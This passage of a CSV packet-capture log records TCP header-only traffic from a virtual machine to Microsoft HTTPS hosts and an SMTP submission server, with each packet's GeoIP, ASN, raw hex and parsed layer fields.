Ack=1203919404,525400577f945254007bb792080045000028592c4000800654eac0a87aa80d6b03fec32301bb26ffe6b047c25a2c501103fb4cd40000,\"RT.W..RT.{....E..(Y,@...T...z.\nk...#..&...G.Z,P...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22828, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21738, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304944, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:10.473677,182,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,FA,,,Ether > IP > TCP,3,TCP FA Seq=1857739733 Ack=4241599660,525400577f945254007bb792080045000028a513400080067470c0a87aa883fd21fec32401bb6ebadbd5fcd1acac501103fbe1660000,RT.W..RT.{....E..(..@...tp..z...!..$..n.......P....f..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42259, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29808, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739733, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:10.473772,183,TCP 192.168.122.168:49687 -> 150.171.28.12:443,192.168.122.168,150.171.28.12,49687,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8075,Microsoft Corporation,37.751,-97.822,150.171.0.0/19,FA,,,Ether > IP > TCP,3,TCP FA Seq=92098708 Ack=3550148941,525400577f945254007bb792080045000028fafa4000800611cdc0a87aa896ab1c0cc21701bb057d5094d39af94d50110400ee220000,\"RT.W..RT.{....E..(..@.......z..........}P....MP....\"\"..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 64250, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 4557, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"150.171.28.12\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49687, \"\"dport\"\": 443, \"\"seq\"\": 92098708, \"\"ack\"\": 3550148941, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 60962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:10.473793,184,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216733383 Ack=974826609,525400577f945254007bb7920800450000280157400080062bfac0a87aa8cc4fc5dec32601bbfb563ec73a1aac71501103fdcd990000,RT.W..RT.{....E..(.W@...+...z..O...&...V>.:..qP.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 343, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11258, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733383, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:10.473811,185,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=226525659 Ack=1444010957,525400577f945254007bb79208004500002812df400080069f96c0a87aa81730f5d9c32201bb0d8081db5611dbcd501103fd48750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4831, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40854, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525659, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:10.583021,186,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4194378438 Ack=1765244119,525400577f945254007bb7920800450000282a1c400080065cfac0a87aa80d6b2afec32501bbfa0122c669377cd7501103fb73d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10780, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23802, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378438, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:10.583099,187,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=654304944 Ack=1203919404,525400577f945254007bb792080045000028592d4000800654e9c0a87aa80d6b03fec32301bb26ffe6b047c25a2c501103fb4cd40000,\"RT.W..RT.{....E..(Y-@...T...z.\nk...#..&...G.Z,P...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22829, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21737, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304944, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:12.973990,188,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,FA,,,Ether > IP > TCP,3,TCP FA Seq=1857739733 Ack=4241599660,525400577f945254007bb792080045000028a51440008006746fc0a87aa883fd21fec32401bb6ebadbd5fcd1acac501103fbe1660000,RT.W..RT.{....E..(..@...to..z...!..$..n.......P....f..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42260, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29807, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739733, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:12.974096,189,TCP 192.168.122.168:49687 -> 150.171.28.12:443,192.168.122.168,150.171.28.12,49687,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8075,Microsoft Corporation,37.751,-97.822,150.171.0.0/19,FA,,,Ether > IP > TCP,3,TCP FA Seq=92098708 Ack=3550148941,525400577f945254007bb792080045000028fafb4000800611ccc0a87aa896ab1c0cc21701bb057d5094d39af94d50110400ee220000,\"RT.W..RT.{....E..(..@.......z..........}P....MP....\"\"..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 64251, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 4556, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"150.171.28.12\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49687, \"\"dport\"\": 443, \"\"seq\"\": 92098708, \"\"ack\"\": 3550148941, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 60962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:12.974116,190,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216733383 Ack=974826609,525400577f945254007bb7920800450000280158400080062bf9c0a87aa8cc4fc5dec32601bbfb563ec73a1aac71501103fdcd990000,RT.W..RT.{....E..(.X@...+...z..O...&...V>.:..qP.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 344, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11257, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733383, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:12.974133,191,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=226525659 Ack=1444010957,525400577f945254007bb79208004500002812e0400080069f95c0a87aa81730f5d9c32201bb0d8081db5611dbcd501103fd48750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4832, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40853, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525659, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:13.083893,192,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4194378438 Ack=1765244119,525400577f945254007bb7920800450000282a1d400080065cf9c0a87aa80d6b2afec32501bbfa0122c669377cd7501103fb73d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10781, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23801, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378438, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:13.083985,193,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=654304944 Ack=1203919404,525400577f945254007bb792080045000028592e4000800654e8c0a87aa80d6b03fec32301bb26ffe6b047c25a2c501103fb4cd40000,\"RT.W..RT.{....E..(Y.@...T...z.\nk...#..&...G.Z,P...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22830, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21736, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304944, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:14.012671,194,TCP 192.168.122.168:50121 -> 162.251.85.202:587,192.168.122.168,162.251.85.202,50121,587,TCP,Internal,Private Network,,,,,,United States,Unknown,46606,Unified Layer,37.751,-97.822,162.251.84.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=2808562734 Ack=0,525400577f945254007bb7920800450000347a4e400080064c5fc0a87aa8a2fb55cac3c9024ba767442e000000008002faf0343d0000020405b40103030801010402,RT.W..RT.{....E..4zN@...L_..z...U....K.gD.........4=..............,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 31310, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19551, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"162.251.85.202\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50121, \"\"dport\"\": 587, \"\"seq\"\": 2808562734, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 13373, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 18:23:14.012730,195,TCP 162.251.85.202:587 -> 192.168.122.168:50121,162.251.85.202,192.168.122.168,587,50121,TCP,United States,Unknown,46606,Unified Layer,37.751,-97.822,162.251.84.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=898325472 Ack=2808562735,5254007bb792525400577f9408004500003400004000400606aea2fb55cac0a87aa8024bc3c9358b5be0a767442f8012a564343d0000020405b40101040201030309,RT.{..RT.W....E..4..@.@.....U...z..K..5.[..gD/...d4=.............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1710, \"\"src\"\": \"\"162.251.85.202\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 587, \"\"dport\"\": 50121, \"\"seq\"\": 898325472, \"\"ack\"\": 2808562735, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 13373, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 18:23:14.012854,196,TCP 192.168.122.168:50121 -> 162.251.85.202:587,192.168.122.168,162.251.85.202,50121,587,TCP,Internal,Private Network,,,,,,United States,Unknown,46606,Unified Layer,37.751,-97.822,162.251.84.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=2808562735 Ack=898325473,525400577f945254007bb7920800450000287a4f400080064c6ac0a87aa8a2fb55cac3c9024ba767442f358b5be15010201434310000,RT.W..RT.{....E..(zO@...Lj..z...U....K.gD/5.[.P. .41..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 31311, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19562, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"162.251.85.202\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50121, \"\"dport\"\": 587, \"\"seq\"\": 2808562735, \"\"ack\"\": 898325473, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13361, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:17.862912,197,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,FA,,,Ether > IP > TCP,3,TCP FA Seq=1857739733 Ack=4241599660,525400577f945254007bb792080045000028a51540008006746ec0a87aa883fd21fec32401bb6ebadbd5fcd1acac501103fbe1660000,RT.W..RT.{....E..(..@...tn..z...!..$..n.......P....f..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42261, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29806, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739733, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:17.863021,198,TCP 192.168.122.168:49687 -> 150.171.28.12:443,192.168.122.168,150.171.28.12,49687,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8075,Microsoft Corporation,37.751,-97.822,150.171.0.0/19,FA,,,Ether > IP > TCP,3,TCP FA Seq=92098708 Ack=3550148941,525400577f945254007bb792080045000028fafc4000800611cbc0a87aa896ab1c0cc21701bb057d5094d39af94d50110400ee220000,\"RT.W..RT.{....E..(..@.......z..........}P....MP....\"\"..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 64252, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 4555, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"150.171.28.12\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49687, \"\"dport\"\": 443, \"\"seq\"\": 92098708, \"\"ack\"\": 3550148941, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 60962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:17.863041,199,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216733383 